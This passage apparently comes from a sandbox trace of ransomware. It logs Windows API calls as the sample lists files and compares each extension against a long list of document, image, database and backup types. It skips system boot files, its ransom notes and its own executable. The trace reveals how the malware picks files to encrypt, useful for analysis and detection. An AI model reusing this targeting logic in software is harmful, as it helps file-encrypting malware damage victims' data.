	[0068.705] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0068.705] lstrlenW (lpString=".dif") returned 4
	[0068.705] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".divx") returned 5
	[0068.706] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1
	[0068.706] lstrlenW (lpString=".djvu") returned 5
	[0068.706] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1
	[0068.706] lstrlenW (lpString=".dng") returned 4
	[0068.706] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".doc") returned 4
	[0068.706] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".docm") returned 5
	[0068.706] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1
	[0068.706] lstrlenW (lpString=".docx") returned 5
	[0068.706] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1
	[0068.706] lstrlenW (lpString=".dot") returned 4
	[0068.706] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".dotm") returned 5
	[0068.706] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1
	[0068.706] lstrlenW (lpString=".dotx") returned 5
	[0068.706] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1
	[0068.706] lstrlenW (lpString=".dpx") returned 4
	[0068.706] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".dqy") returned 4
	[0068.706] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".dsn") returned 4
	[0068.706] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0068.706] lstrlenW (lpString=".dt") returned 3
	[0068.706] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0068.706] lstrlenW (lpString=".dtd") returned 4
	[0068.706] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".dwg") returned 4
	[0068.707] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".dwt") returned 4
	[0068.707] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".dx") returned 3
	[0068.707] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1
	[0068.707] lstrlenW (lpString=".dxf") returned 4
	[0068.707] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".edml") returned 5
	[0068.707] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1
	[0068.707] lstrlenW (lpString=".efd") returned 4
	[0068.707] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".elf") returned 4
	[0068.707] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".emf") returned 4
	[0068.707] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".emz") returned 4
	[0068.707] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".epf") returned 4
	[0068.707] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".eps") returned 4
	[0068.707] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".epsf") returned 5
	[0068.707] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1
	[0068.707] lstrlenW (lpString=".epsp") returned 5
	[0068.707] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1
	[0068.707] lstrlenW (lpString=".erf") returned 4
	[0068.707] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".exr") returned 4
	[0068.707] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".f4v") returned 4
	[0068.707] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1
	[0068.707] lstrlenW (lpString=".fido") returned 5
	[0068.707] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1
	[0068.707] lstrlenW (lpString=".flm") returned 4
	[0068.707] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".flv") returned 4
	[0068.708] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".frm") returned 4
	[0068.708] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".fxg") returned 4
	[0068.708] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".geo") returned 4
	[0068.708] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".gif") returned 4
	[0068.708] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".grs") returned 4
	[0068.708] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".gz") returned 3
	[0068.708] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1
	[0068.708] lstrlenW (lpString=".h") returned 2
	[0068.708] lstrcmpiW (lpString1=".h", lpString2="og") returned -1
	[0068.708] lstrlenW (lpString=".hdr") returned 4
	[0068.708] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".hpp") returned 4
	[0068.708] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".hta") returned 4
	[0068.708] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".htc") returned 4
	[0068.708] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".htm") returned 4
	[0068.708] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".html") returned 5
	[0068.708] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1
	[0068.708] lstrlenW (lpString=".icb") returned 4
	[0068.708] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".ics") returned 4
	[0068.708] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".iff") returned 4
	[0068.708] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1
	[0068.708] lstrlenW (lpString=".inc") returned 4
	[0068.709] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".indd") returned 5
	[0068.709] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1
	[0068.709] lstrlenW (lpString=".ini") returned 4
	[0068.709] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".iqy") returned 4
	[0068.709] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".j2c") returned 4
	[0068.709] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".j2k") returned 4
	[0068.709] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".java") returned 5
	[0068.709] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1
	[0068.709] lstrlenW (lpString=".jp2") returned 4
	[0068.709] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".jpc") returned 4
	[0068.709] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".jpe") returned 4
	[0068.709] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".jpeg") returned 5
	[0068.709] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1
	[0068.709] lstrlenW (lpString=".jpf") returned 4
	[0068.709] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".jpg") returned 4
	[0068.709] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".jpx") returned 4
	[0068.709] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".js") returned 3
	[0068.709] lstrcmpiW (lpString1=".js", lpString2="log") returned -1
	[0068.709] lstrlenW (lpString=".jsf") returned 4
	[0068.709] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".json") returned 5
	[0068.709] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1
	[0068.709] lstrlenW (lpString=".jsp") returned 4
	[0068.709] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1
	[0068.709] lstrlenW (lpString=".kdc") returned 4
	[0068.710] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1
	[0068.710] lstrlenW (lpString=".kmz") returned 4
	[0068.710] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1
	[0068.710] lstrlenW (lpString=".kwm") returned 4
	[0068.710] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1
	[0068.710] lstrlenW (lpString=".lasso") returned 6
	[0068.710] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1
	[0068.710] lstrlenW (lpString=".lbi") returned 4
	[0068.710] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1
	[0068.710] lstrlenW (lpString=".lgf") returned 4
	[0068.710] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1
	[0068.710] lstrlenW (lpString=".lgp") returned 4
	[0068.710] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1
	[0068.710] lstrlenW (lpString=".log") returned 4
	[0068.710] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0
	[0068.710] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0068.710] lstrlenW (lpString=".Z9") returned 3
	[0068.710] lstrcmpiW (lpString1=".Z9", lpString2="log") returned -1
	[0068.710] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0068.710] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0068.710] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1
	[0068.710] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0068.710] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0068.710] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0068.710] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0068.710] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0068.710] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1
	[0068.710] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57
	[0068.710] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0068.710] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0068.710] lstrlenW (lpString=".1cd") returned 4
	[0068.711] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".3ds") returned 4
	[0068.711] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".3fr") returned 4
	[0068.711] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".3g2") returned 4
	[0068.711] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".3gp") returned 4
	[0068.711] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".7z") returned 3
	[0068.711] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0068.711] lstrlenW (lpString=".accda") returned 6
	[0068.711] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1
	[0068.711] lstrlenW (lpString=".accdb") returned 6
	[0068.711] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1
	[0068.711] lstrlenW (lpString=".accdc") returned 6
	[0068.711] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1
	[0068.711] lstrlenW (lpString=".accde") returned 6
	[0068.711] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1
	[0068.711] lstrlenW (lpString=".accdt") returned 6
	[0068.711] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1
	[0068.711] lstrlenW (lpString=".accdw") returned 6
	[0068.711] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1
	[0068.711] lstrlenW (lpString=".adb") returned 4
	[0068.711] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".adp") returned 4
	[0068.711] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".ai") returned 3
	[0068.711] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0068.711] lstrlenW (lpString=".ai3") returned 4
	[0068.711] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".ai4") returned 4
	[0068.711] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".ai5") returned 4
	[0068.711] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0068.711] lstrlenW (lpString=".ai6") returned 4
	[0068.712] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".ai7") returned 4
	[0068.712] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".ai8") returned 4
	[0068.712] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".anim") returned 5
	[0068.712] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1
	[0068.712] lstrlenW (lpString=".arw") returned 4
	[0068.712] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".as") returned 3
	[0068.712] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0068.712] lstrlenW (lpString=".asa") returned 4
	[0068.712] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".asc") returned 4
	[0068.712] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".ascx") returned 5
	[0068.712] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1
	[0068.712] lstrlenW (lpString=".asm") returned 4
	[0068.712] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".asmx") returned 5
	[0068.712] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1
	[0068.712] lstrlenW (lpString=".asp") returned 4
	[0068.712] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".aspx") returned 5
	[0068.712] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1
	[0068.712] lstrlenW (lpString=".asr") returned 4
	[0068.712] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".asx") returned 4
	[0068.712] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".avi") returned 4
	[0068.712] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".avs") returned 4
	[0068.712] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0068.712] lstrlenW (lpString=".backup") returned 7
	[0068.712] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1
	[0068.713] lstrlenW (lpString=".bak") returned 4
	[0068.713] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".bay") returned 4
	[0068.713] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".bd") returned 3
	[0068.713] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0068.713] lstrlenW (lpString=".bin") returned 4
	[0068.713] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".bmp") returned 4
	[0068.713] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".bz2") returned 4
	[0068.713] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".c") returned 2
	[0068.713] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0068.713] lstrlenW (lpString=".cdr") returned 4
	[0068.713] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".cer") returned 4
	[0068.713] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".cf") returned 3
	[0068.713] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0068.713] lstrlenW (lpString=".cfc") returned 4
	[0068.713] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".cfm") returned 4
	[0068.713] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".cfml") returned 5
	[0068.713] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1
	[0068.713] lstrlenW (lpString=".cfu") returned 4
	[0068.713] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".chm") returned 4
	[0068.713] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".cin") returned 4
	[0068.713] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0068.713] lstrlenW (lpString=".class") returned 6
	[0068.713] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1
	[0068.713] lstrlenW (lpString=".clx") returned 4
	[0068.714] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".config") returned 7
	[0068.714] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1
	[0068.714] lstrlenW (lpString=".cpp") returned 4
	[0068.714] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".cr2") returned 4
	[0068.714] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".crt") returned 4
	[0068.714] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".crw") returned 4
	[0068.714] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".cs") returned 3
	[0068.714] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0068.714] lstrlenW (lpString=".css") returned 4
	[0068.714] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".csv") returned 4
	[0068.714] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".cub") returned 4
	[0068.714] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".dae") returned 4
	[0068.714] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".dat") returned 4
	[0068.714] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".db") returned 3
	[0068.714] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0068.714] lstrlenW (lpString=".dbf") returned 4
	[0068.714] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".dbx") returned 4
	[0068.714] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".dc3") returned 4
	[0068.714] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".dcm") returned 4
	[0068.714] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".dcr") returned 4
	[0068.714] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0068.714] lstrlenW (lpString=".der") returned 4
	[0068.715] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".dib") returned 4
	[0068.715] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".dic") returned 4
	[0068.715] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".dif") returned 4
	[0068.715] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".divx") returned 5
	[0068.715] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1
	[0068.715] lstrlenW (lpString=".djvu") returned 5
	[0068.715] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1
	[0068.715] lstrlenW (lpString=".dng") returned 4
	[0068.715] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".doc") returned 4
	[0068.715] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".docm") returned 5
	[0068.715] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1
	[0068.715] lstrlenW (lpString=".docx") returned 5
	[0068.715] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0068.715] lstrlenW (lpString=".dot") returned 4
	[0068.715] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".dotm") returned 5
	[0068.715] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1
	[0068.715] lstrlenW (lpString=".dotx") returned 5
	[0068.715] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1
	[0068.715] lstrlenW (lpString=".dpx") returned 4
	[0068.715] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0068.715] lstrlenW (lpString=".dqy") returned 4
	[0068.715] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0068.716] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0068.716] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0068.716] FindClose (in: hFindFile=0x519618 | out: hFindFile=0x519618) returned 1
	[0068.717] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0068.717] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0068.717] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0068.717] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\SafeOS") returned 1
	[0068.717] lstrlenW (lpString="SafeOS") returned 6
	[0068.717] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="SafeOS") returned -1
	[0068.717] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0068.717] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0068.717] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x519618
	[0068.851] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.851] FindNextFileW (in: hFindFile=0x519618, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0068.851] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0068.851] lstrlenW (lpString=".1cd") returned 4
	[0068.851] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.851] lstrlenW (lpString=".3ds") returned 4
	[0068.851] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0068.851] lstrlenW (lpString=".3fr") returned 4
	[0068.851] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0068.851] lstrlenW (lpString=".3g2") returned 4
	[0068.851] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0068.851] lstrlenW (lpString=".3gp") returned 4
	[0068.851] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0068.851] lstrlenW (lpString=".7z") returned 3
	[0068.851] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.851] lstrlenW (lpString=".accda") returned 6
	[0068.851] lstrcmpiW (lpString1=".accda", lpString2="BE.dll") returned -1
	[0068.851] lstrlenW (lpString=".accdb") returned 6
	[0068.851] lstrcmpiW (lpString1=".accdb", lpString2="BE.dll") returned -1
	[0068.851] lstrlenW (lpString=".accdc") returned 6
	[0068.851] lstrcmpiW (lpString1=".accdc", lpString2="BE.dll") returned -1
	[0068.852] lstrlenW (lpString=".accde") returned 6
	[0068.852] lstrcmpiW (lpString1=".accde", lpString2="BE.dll") returned -1
	[0068.852] lstrlenW (lpString=".accdt") returned 6
	[0068.852] lstrcmpiW (lpString1=".accdt", lpString2="BE.dll") returned -1
	[0068.852] lstrlenW (lpString=".accdw") returned 6
